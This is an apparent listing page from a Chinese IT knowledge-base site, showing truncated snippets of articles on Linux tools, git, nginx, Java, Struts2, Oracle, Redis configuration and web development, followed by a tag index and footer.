                        <div>方法/步骤打开官网http://www.sublimetext.com/3,选择64位进行下载执行命令wgethttps://download.sublimetext.com/sublime_text_3_build_3126_x64.tar.bz2进行下载3、下载完成进行解压,执行tar-xvvfsublime_text_3_build_3126_x64.tar.bz解压4、解压完成以后,移动到</div>
                    </li>
                    <li><a href="/article/1835378901174546432.htm"
                           title="KVM虚拟机源代码分析【转】" target="_blank">KVM虚拟机源代码分析【转】</a>
                        <span class="text-muted">xidianjiapei001</span>
<a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/%E8%99%9A%E6%8B%9F%E5%8C%96%E6%8A%80%E6%9C%AF/1.htm">虚拟化技术</a>
                        <div>1.KVM结构及工作原理1.1KVM结构KVM基本结构有两部分组成。一个是KVMDriver,已经成为Linux内核的一个模块。负责虚拟机的创建,虚拟内存的分配,虚拟CPU寄存器的读写以及虚拟CPU的运行等。另外一个是稍微修改过的Qemu,用于模拟PC硬件的用户空间组件,提供I/O设备模型以及访问外设的途径。KVM基本结构如图1所示。其中KVM加入到标准的Linux内核中,被组织成Linux中标准</div>
                    </li>
                    <li><a href="/article/1835369569800253440.htm"
                           title="史上最全git命令,git回滚,git命令大全" target="_blank">史上最全git命令,git回滚,git命令大全</a>
                        <span class="text-muted">騒周</span>
<a class="tag" taget="_blank" href="/search/%E5%85%B6%E4%BB%96/1.htm">其他</a><a class="tag" taget="_blank" href="/search/git/1.htm">git</a>
                        <div>git命令大全一、Git整体理解二、由暂存区本地仓库三、由本地仓->远程仓库四、冲突处理五、Git分支操作六、bug的分支七、feature分支八、暂存的使用九、远程仓的操作十、标签的使用十一、Git配置全局信息十二、Linux的一些简单操作和一些符号的解释十三、符号解释十四、显示安装详细信息十五、gitconfig十六、Gitclone十七、Gitinit十八、gitstatus十九、gitre</div>
                    </li>
                    <li><a href="/article/1835369443379736576.htm"
                           title="【显示 后台运行 & 的命令】" target="_blank">【显示 后台运行 & 的命令】</a>
                        <span class="text-muted">晨春计</span>
<a class="tag" taget="_blank" href="/search/debug/1.htm">debug</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a>
                        <div>目录背景步骤详解示例背景当你在Linuxshell中使用&符号将一个命令放到后台运行时,你可以使用jobs命令来查看这些后台进程的状态。但是,jobs命令并不会直接显示进程的PID(进程ID)。它会显示一个作业列表,其中包括每个作业的状态和一个作业标识符(通常是百分号%后面跟着一个数字),但不会直接显示PID。获取后台进程的PID步骤:1、使用jobs命令查看后台作业。2、使用ps命令配合grep</div>
                    </li>
                    <li><a href="/article/1835369316342657024.htm"
                           title="Android shell 常用 debug 命令" target="_blank">Android shell 常用 debug 命令</a>
                        <span class="text-muted">晨春计</span>
<a class="tag" taget="_blank" href="/search/Audio/1.htm">Audio</a><a class="tag" taget="_blank" href="/search/debug/1.htm">debug</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>目录1、查看版本2、am命令3、pm命令4、dumpsys命令5、sed命令6、log定位查看APK进程号7、log定位使用场景1、查看版本1.1、Android串口终端执行getpropro.build.version.release#获取Android版本uname-a#查看linux内核版本信息uname-r#单独查看内核版本1.2、linux服务器执行lsb_release-a#查看Lin</div>
                    </li>
                    <li><a href="/article/1835353690366636032.htm"
                           title="【nginx】ngx_http_proxy_connect_module 正向代理" target="_blank">【nginx】ngx_http_proxy_connect_module 正向代理</a>
                        <span class="text-muted">等风来不如迎风去</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E6%9C%8D%E5%8A%A1%E5%85%A5%E9%97%A8%E4%B8%8E%E5%AE%9E%E6%88%98/1.htm">网络服务入门与实战</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/http/1.htm">http</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a>
                        <div>50.65无法访问服务器,(403错误)50.196可以访问服务器。那么,配置65通过196访问。需要一个nginx作为代理【nginx】搭配okhttp配置反向代理发送原生的nginx是不支持okhttp的CONNECT请求的。大神竟然给出了一个java工程GINX编译ngx_http_proxy_connect_module及做正向代理是linux构建的。是windows构建的:编译Windo</div>
                    </li>
                    <li><a href="/article/1835336292490113024.htm"
                           title="linux下好用的任务管理器htop" target="_blank">linux下好用的任务管理器htop</a>
                        <span class="text-muted">WittXie</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a>
                        <div>给大家推荐个好用的任务管理器htop,简直好用的不得了。完虐top。不解释了,看文章!!!在Linux系统中,top命令用来显示系统中正在运行的进程的实时状态,它显示了一些非常有用的信息,比如CPU利用情况、内存消耗情况,以及每个进程情况等。但是,你知道吗?还有另外一个命令行工具'htop',它与传统的top命令功能一样,但它有更加强大的功能及能显示更多的信息。这篇文章,我们会用实例来讨论这个'h</div>
                    </li>
                    <li><a href="/article/1835335914407161856.htm"
                           title="Linux下使用U盘" target="_blank">Linux下使用U盘</a>
                        <span class="text-muted">WittXie</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a>
                        <div>第一步:插入U盘,如果能够识别出U盘,则会打印出一些信息;第二步:查看U盘系统分配给U盘的设备名;输入如下命令进行查看:fdisk-l/dev/sda如果打印出如下信息:Disk/dev/sda:4233MB,4233101312bytes165heads,34sectors/track,1473cylindersUnits=cylindersof5610*512=2872320bytesDevi</div>
                    </li>
                                <li><a href="/article/59.htm"
                                       title="html" target="_blank">html</a>
                                    <span class="text-muted">周华华</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a>
                                    <div>js 
 1,数组的排列 
var arr=[1,4,234,43,52,]; 
 for(var x=0;x<arr.length;x++){ 
   for(var y=x-1;y<arr.length;y++){ 
     if(arr[x]<arr[y]){ 
    &</div>
                                </li>
                                <li><a href="/article/186.htm"
                                       title="【Struts2 四】Struts2拦截器" target="_blank">【Struts2 四】Struts2拦截器</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/struts2%E6%8B%A6%E6%88%AA%E5%99%A8/1.htm">struts2拦截器</a>
                                    <div>Struts2框架是基于拦截器实现的,可以对某个Action进行拦截,然后某些逻辑处理,拦截器相当于AOP里面的环绕通知,即在Action方法的执行之前和之后根据需要添加相应的逻辑。事实上,即使struts.xml没有任何关于拦截器的配置,Struts2也会为我们添加一组默认的拦截器,最常见的是,请求参数自动绑定到Action对应的字段上。 
  
Struts2中自定义拦截器的步骤是:</div>
                                </li>
                                <li><a href="/article/313.htm"
                                       title="make:cc 命令未找到解决方法" target="_blank">make:cc 命令未找到解决方法</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E5%91%BD%E4%BB%A4%E6%9C%AA%E7%9F%A5/1.htm">命令未知</a><a class="tag" taget="_blank" href="/search/make+cc/1.htm">make cc</a>
                                    <div>安装rz sz程序时,报下面错误: 
  
[root@slave2 src]# make posix 
cc   -O -DPOSIX -DMD=2 rz.c -o rz 
make: cc:命令未找到 
make: *** [posix] 错误 127 
  
系统:centos 6.6 
环境:虚拟机 
  
错误原因:系统未安装gcc,这个是由于在安</div>
                                </li>
                                <li><a href="/article/440.htm"
                                       title="Oracle之Job应用" target="_blank">Oracle之Job应用</a>
                                    <span class="text-muted">周凡杨</span>
<a class="tag" taget="_blank" href="/search/oracle+job/1.htm">oracle job</a>
                                    <div>  
最近写服务,服务上线后,需要写一个定时执行的SQL脚本,清理并更新数据库表里的数据,应用到了Oracle 的 Job的相关知识。在此总结一下。 
  
一:查看相关job信息 
   1、相关视图  
 dba_jobs  
 all_jobs  
 user_jobs  
 dba_jobs_running 包含正在运行</div>
                                </li>
                                <li><a href="/article/567.htm"
                                       title="多线程机制" target="_blank">多线程机制</a>
                                    <span class="text-muted">朱辉辉33</span>
<a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a>
                                    <div>转至http://blog.csdn.net/lj70024/archive/2010/04/06/5455790.aspx 
程序、进程和线程: 
 程序是一段静态的代码,它是应用程序执行的蓝本。进程是程序的一次动态执行过程,它对应了从代码加载、执行至执行完毕的一个完整过程,这个过程也是进程本身从产生、发展至消亡的过程。线程是比进程更小的单位,一个进程执行过程中可以产生多个线程,每个线程有自身的</div>
                                </li>
                                <li><a href="/article/694.htm"
                                       title="web报表工具FineReport使用中遇到的常见报错及解决办法(一)" target="_blank">web报表工具FineReport使用中遇到的常见报错及解决办法(一)</a>
                                    <span class="text-muted">老A不折腾</span>
<a class="tag" taget="_blank" href="/search/web%E6%8A%A5%E8%A1%A8/1.htm">web报表</a><a class="tag" taget="_blank" href="/search/finereport/1.htm">finereport</a><a class="tag" taget="_blank" href="/search/java%E6%8A%A5%E8%A1%A8/1.htm">java报表</a><a class="tag" taget="_blank" href="/search/%E6%8A%A5%E8%A1%A8%E5%B7%A5%E5%85%B7/1.htm">报表工具</a>
                                    <div>FineReport使用中遇到的常见报错及解决办法(一) 
这里写点抛砖引玉,希望大家能把自己整理的问题及解决方法晾出来,Mark一下,利人利己。 
  
出现问题先搜一下文档上有没有,再看看度娘有没有,再看看论坛有没有。有报错要看日志。下面简单罗列下常见的问题,大多文档上都有提到的。 
  
1、address pool is full: 
含义:地址池满,连接数超过并发数上</div>
                                </li>
                                <li><a href="/article/821.htm"
                                       title="mysql rpm安装后没有my.cnf" target="_blank">mysql rpm安装后没有my.cnf</a>
                                    <span class="text-muted">林鹤霄</span>
<a class="tag" taget="_blank" href="/search/%E6%B2%A1%E6%9C%89my.cnf/1.htm">没有my.cnf</a>
                                    <div>Linux下用rpm包安装的MySQL是不会安装/etc/my.cnf文件的, 
至于为什么没有这个文件而MySQL却也能正常启动和作用,在这儿有两个说法, 
第一种说法,my.cnf只是MySQL启动时的一个参数文件,可以没有它,这时MySQL会用内置的默认参数启动, 
第二种说法,MySQL在启动时自动使用/usr/share/mysql目录下的my-medium.cnf文件,这种说法仅限于r</div>
                                </li>
                                <li><a href="/article/948.htm"
                                       title="Kindle Fire HDX root并安装谷歌服务框架之后仍无法登陆谷歌账号的问题" target="_blank">Kindle Fire HDX root并安装谷歌服务框架之后仍无法登陆谷歌账号的问题</a>
                                    <span class="text-muted">aigo</span>
<a class="tag" taget="_blank" href="/search/root/1.htm">root</a>
                                    <div>原文:http://kindlefireforkid.com/how-to-setup-a-google-account-on-amazon-fire-tablet/ 
  
Step 4: Run ADB command from your PC 
  
On the PC, you need install Amazon Fire ADB driver and instal</div>
                                </li>
                                <li><a href="/article/1075.htm"
                                       title="javascript 中var提升的典型实例" target="_blank">javascript 中var提升的典型实例</a>
                                    <span class="text-muted">alxw4616</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a>
                                    <div>// 刚刚在书上看到的一个小问题,很有意思.大家一起思考下吧
myname = 'global';
var fn = function () {
	console.log(myname); // undefined
	var myname = 'local';
	console.log(myname); // local
};
fn()

// 上述代码实际上等同于以下代码
m</div>
                                </li>
                                <li><a href="/article/1202.htm"
                                       title="定时器和获取时间的使用" target="_blank">定时器和获取时间的使用</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/%E6%97%B6%E9%97%B4%E7%9A%84%E8%BD%AC%E6%8D%A2/1.htm">时间的转换</a><a class="tag" taget="_blank" href="/search/%E5%AE%9A%E6%97%B6%E5%99%A8/1.htm">定时器</a>
                                    <div>定时器:定时创建任务在游戏设计的时候用的比较多 
  Timer();定时器 
TImerTask();Timer的子类  由 Timer 安排为一次执行或重复执行的任务。 
  
  
  定时器类Timer在java.util包中。使用时,先实例化,然后使用实例的schedule(TimerTask task, long delay)方法,设定</div>
                                </li>
                                <li><a href="/article/1329.htm"
                                       title="JDK1.5 Queue" target="_blank">JDK1.5 Queue</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/thread/1.htm">thread</a><a class="tag" taget="_blank" href="/search/java%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">java多线程</a><a class="tag" taget="_blank" href="/search/Queue/1.htm">Queue</a>
                                    <div>JDK1.5 Queue 
LinkedList: 
LinkedList不是同步的。如果多个线程同时访问列表,而其中至少一个线程从结构上修改了该列表,则它必须 保持外部同步。(结构修改指添加或删除一个或多个元素的任何操作;仅设置元素的值不是结构修改。)这一般通过对自然封装该列表的对象进行同步操作来完成。如果不存在这样的对象,则应该使用 Collections.synchronizedList 方</div>
                                </li>
                                <li><a href="/article/1456.htm"
                                       title="http认证原理和https" target="_blank">http认证原理和https</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/http/1.htm">http</a><a class="tag" taget="_blank" href="/search/https/1.htm">https</a>
                                    <div>一.基础介绍 
        在URL前加https://前缀表明是用SSL加密的。 你的电脑与服务器之间收发的信息传输将更加安全。 
        Web服务器启用SSL需要获得一个服务器证书并将该证书与要使用SSL的服务器绑定。 
http和https使用的是完全不同的连接方式,用的端口也不一样,前者是80,后</div>
                                </li>
                                <li><a href="/article/1583.htm"
                                       title="【Java范型五】范型继承" target="_blank">【Java范型五】范型继承</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>定义如下一个抽象的范型类,其中定义了两个范型参数,T1,T2 
  
package com.tom.lang.generics;

public abstract class SuperGenerics<T1, T2> {
    private T1 t1;
    private T2 t2;

    public abstract void doIt(T</div>
                                </li>
                                <li><a href="/article/1710.htm"
                                       title="【Nginx六】nginx.conf常用指令(Directive)" target="_blank">【Nginx六】nginx.conf常用指令(Directive)</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/Directive/1.htm">Directive</a>
                                    <div>1. worker_processes    8; 
表示Nginx将启动8个工作者进程,通过ps -ef|grep nginx,会发现有8个Nginx Worker Process在运行 
  
nobody    53879 118449  0 Apr22 ?        00:26:15 nginx: worker process          </div>
                                </li>
                                <li><a href="/article/1837.htm"
                                       title="lua 遍历Header头部" target="_blank">lua 遍历Header头部</a>
                                    <span class="text-muted">ronin47</span>
<a class="tag" taget="_blank" href="/search/lua+header+%E9%81%8D%E5%8E%86%E3%80%80/1.htm">lua header 遍历 </a>
                                    <div> 
 local headers = ngx.req.get_headers()   
 ngx.say("headers begin", "<br/>")   
 ngx.say("Host : ", he</div>
                                </li>
                                <li><a href="/article/1964.htm"
                                       title="java-32.通过交换a,b中的元素,使[序列a元素的和]与[序列b元素的和]之间的差最小(两数组的差最小)。" target="_blank">java-32.通过交换a,b中的元素,使[序列a元素的和]与[序列b元素的和]之间的差最小(两数组的差最小)。</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>
import java.util.Arrays;

public class MinSumASumB {

	/**
	 * Q32.有两个序列a,b,大小都为n,序列元素的值任意整数,无序.
	 * 
	 * 要求:通过交换a,b中的元素,使[序列a元素的和]与[序列b元素的和]之间的差最小。 
	 * 例如: 
	 * int[] a = {100,99,98,1,2,3</div>
                                </li>
                                <li><a href="/article/2091.htm"
                                       title="redis" target="_blank">redis</a>
                                    <span class="text-muted">开窍的石头</span>
<a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a>
                                    <div>在redis的redis.conf配置文件中找到# requirepass foobared 
把它替换成requirepass 12356789 后边的12356789就是你的密码 
 
打开redis客户端输入config get requirepass 
返回 
redis 127.0.0.1:6379> config get requirepass 
1) "require</div>
                                </li>
                                <li><a href="/article/2218.htm"
                                       title="[JAVA图像与图形]现有的GPU架构支持JAVA语言吗?" target="_blank">[JAVA图像与图形]现有的GPU架构支持JAVA语言吗?</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/java%E8%AF%AD%E8%A8%80/1.htm">java语言</a>
                                    <div> 
 
      无论是opengl还是cuda,都是建立在C语言体系架构基础上的,在未来,图像图形处理业务快速发展,相关领域市场不断扩大的情况下,我们JAVA语言系统怎么从这么庞大,且还在不断扩大的市场上分到一块蛋糕,是值得每个JAVAER认真思考和行动的事情 
 
 
       </div>
                                </li>
                                <li><a href="/article/2345.htm"
                                       title="安装ubuntu14.04登录后花屏了怎么办" target="_blank">安装ubuntu14.04登录后花屏了怎么办</a>
                                    <span class="text-muted">cuiyadll</span>
<a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a>
                                    <div>这个情况,一般属于显卡驱动问题。 
可以先尝试安装显卡的官方闭源驱动。 
按键盘三个键:CTRL + ALT  +  F1 
进入终端,输入用户名和密码登录终端: 
安装amd的显卡驱动       
sudo  
apt-get  
install  
fglrx       
安装nvidia显卡驱动       
sudo  
ap</div>
                                </li>
                                <li><a href="/article/2472.htm"
                                       title="SSL 与 数字证书 的基本概念和工作原理" target="_blank">SSL 与 数字证书 的基本概念和工作原理</a>
                                    <span class="text-muted">darrenzhu</span>
<a class="tag" taget="_blank" href="/search/%E5%8A%A0%E5%AF%86/1.htm">加密</a><a class="tag" taget="_blank" href="/search/ssl/1.htm">ssl</a><a class="tag" taget="_blank" href="/search/%E8%AF%81%E4%B9%A6/1.htm">证书</a><a class="tag" taget="_blank" href="/search/%E5%AF%86%E9%92%A5/1.htm">密钥</a><a class="tag" taget="_blank" href="/search/%E7%AD%BE%E5%90%8D/1.htm">签名</a>
                                    <div>SSL 与 数字证书 的基本概念和工作原理 

http://www.linuxde.net/2012/03/8301.html 
 
SSL握手协议的目的是或最终结果是让客户端和服务器拥有一个共同的密钥,握手协议本身是基于非对称加密机制的,之后就使用共同的密钥基于对称加密机制进行信息交换。 
 
 
 

http://www.ibm.com/developerworks/cn/webspher</div>
                                </li>
                                <li><a href="/article/2599.htm"
                                       title="Ubuntu设置ip的步骤" target="_blank">Ubuntu设置ip的步骤</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a>
                                    <div>在单位的一台机器完全装了Ubuntu Server,但回家只能在XP上VM一个,装的时候网卡是DHCP的,用ifconfig查了一下ip是192.168.92.128,可以ping通。 
转载不是错: 
Ubuntu命令行修改网络配置方法 
/etc/network/interfaces打开后里面可设置DHCP或手动设置静态ip。前面auto eth0,让网卡开机自动挂载. 
1. 以D</div>
                                </li>
                                <li><a href="/article/2726.htm"
                                       title="php包管理工具推荐" target="_blank">php包管理工具推荐</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/Composer/1.htm">Composer</a>
                                    <div>http://www.phpcomposer.com/ 
       Composer是 PHP 用来管理依赖(dependency)关系的工具。你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件。  
中文文档  
入门指南  
下载  
安装包列表   
Composer 中国镜像      </div>
                                </li>
                                <li><a href="/article/2853.htm"
                                       title="Gson使用四(TypeAdapter)" target="_blank">Gson使用四(TypeAdapter)</a>
                                    <span class="text-muted">eksliang</span>
<a class="tag" taget="_blank" href="/search/json/1.htm">json</a><a class="tag" taget="_blank" href="/search/gson/1.htm">gson</a><a class="tag" taget="_blank" href="/search/Gson%E8%87%AA%E5%AE%9A%E4%B9%89%E8%BD%AC%E6%8D%A2%E5%99%A8/1.htm">Gson自定义转换器</a><a class="tag" taget="_blank" href="/search/gsonTypeAdapter/1.htm">gsonTypeAdapter</a>
                                    <div>转载请出自出处:http://eksliang.iteye.com/blog/2175595 一.概述 
       Gson的TypeAapter可以理解成自定义序列化和返序列化 二、应用场景举例 
       例如我们通常去注册时(那些外国网站),会让我们输入firstName,lastName,但是转到我们都</div>
                                </li>
                                <li><a href="/article/2980.htm"
                                       title="JQM控件之Navbar和Tabs" target="_blank">JQM控件之Navbar和Tabs</a>
                                    <span class="text-muted">gundumw100</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a>
                                    <div>在JQM中使用导航栏Navbar是简单的。 
 
只需要将data-role="navbar"赋给div即可: 
 

<div data-role="navbar">
    <ul>
        <li><a href="#" class="ui-btn-active&qu</div>
                                </li>
                                <li><a href="/article/3107.htm"
                                       title="利用归并排序算法对大文件进行排序" target="_blank">利用归并排序算法对大文件进行排序</a>
                                    <span class="text-muted">iwindyforest</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BD%92%E5%B9%B6%E6%8E%92%E5%BA%8F/1.htm">归并排序</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%96%87%E4%BB%B6/1.htm">大文件</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E6%B2%BB%E6%B3%95/1.htm">分治法</a><a class="tag" taget="_blank" href="/search/Merge+sort/1.htm">Merge sort</a>
                                    <div>  
归并排序算法介绍,请参照Wikipeida 
zh.wikipedia.org/wiki/%E5%BD%92%E5%B9%B6%E6%8E%92%E5%BA%8F 
基本思想: 
大文件分割成行数相等的两个子文件,递归(归并排序)两个子文件,直到递归到分割成的子文件低于限制行数 
低于限制行数的子文件直接排序 
两个排序好的子文件归并到父文件 
直到最后所有排序好的父文件归并到输入</div>
                                </li>
                                <li><a href="/article/3234.htm"
                                       title="iOS UIWebView URL拦截" target="_blank">iOS UIWebView URL拦截</a>
                                    <span class="text-muted">啸笑天</span>
<a class="tag" taget="_blank" href="/search/UIWebView/1.htm">UIWebView</a>
                                    <div>本文译者:candeladiao,原文:URL filtering for UIWebView on the iPhone说明:译者在做app开发时,因为页面的javascript文件比较大导致加载速度很慢,所以想把javascript文件打包在app里,当UIWebView需要加载该脚本时就从app本地读取,但UIWebView并不支持加载本地资源。最后从下文中找到了解决方法,第一次翻译,难免有</div>
                                </li>
                                <li><a href="/article/3361.htm"
                                       title="索引的碎片整理SQL语句" target="_blank">索引的碎片整理SQL语句</a>
                                    <span class="text-muted">macroli</span>
<a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a>
                                    <div>SET NOCOUNT ON
DECLARE @tablename VARCHAR (128)
DECLARE @execstr VARCHAR (255)
DECLARE @objectid INT
DECLARE @indexid INT
DECLARE @frag DECIMAL
DECLARE @maxfrag DECIMAL
--设置最大允许的碎片数量,超过则对索引进行碎片</div>
                                </li>
                                <li><a href="/article/3488.htm"
                                       title="Angularjs同步操作http请求with $promise" target="_blank">Angularjs同步操作http请求with $promise</a>
                                    <span class="text-muted">qiaolevip</span>
<a class="tag" taget="_blank" href="/search/%E6%AF%8F%E5%A4%A9%E8%BF%9B%E6%AD%A5%E4%B8%80%E7%82%B9%E7%82%B9/1.htm">每天进步一点点</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E6%B0%B8%E6%97%A0%E6%AD%A2%E5%A2%83/1.htm">学习永无止境</a><a class="tag" taget="_blank" href="/search/AngularJS/1.htm">AngularJS</a><a class="tag" taget="_blank" href="/search/%E7%BA%B5%E8%A7%82%E5%8D%83%E8%B1%A1/1.htm">纵观千象</a>
                                    <div>// Define a factory
app.factory('profilePromise', ['$q', 'AccountService', function($q, AccountService) {
      var deferred = $q.defer();
      AccountService.getProfile().then(function(res) {
  </div>
                                </li>
                                <li><a href="/article/3615.htm"
                                       title="hibernate联合查询问题" target="_blank">hibernate联合查询问题</a>
                                    <span class="text-muted">sxj19881213</span>
<a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a><a class="tag" taget="_blank" href="/search/HQL/1.htm">HQL</a><a class="tag" taget="_blank" href="/search/%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2/1.htm">联合查询</a>
                                    <div>最近在用hibernate做项目,遇到了联合查询的问题,以及联合查询中的N+1问题。 
针对无外键关联的联合查询,我做了HQL和SQL的实验,希望能帮助到大家。(我使用的版本是hibernate3.3.2) 
  
1 几个常识: 
 (1)hql中的几种join查询,只有在外键关联、并且作了相应配置时才能使用。 
 (2)hql的默认查询策略,在进行联合查询时,会产</div>
                                </li>
                                <li><a href="/article/3742.htm"
                                       title="struts2.xml" target="_blank">struts2.xml</a>
                                    <span class="text-muted">wuai</span>
<a class="tag" taget="_blank" href="/search/struts/1.htm">struts</a>
                                    <div><?xml version="1.0" encoding="UTF-8" ?> 
<!DOCTYPE struts PUBLIC 
 "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN" 
 "http://struts.apache</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>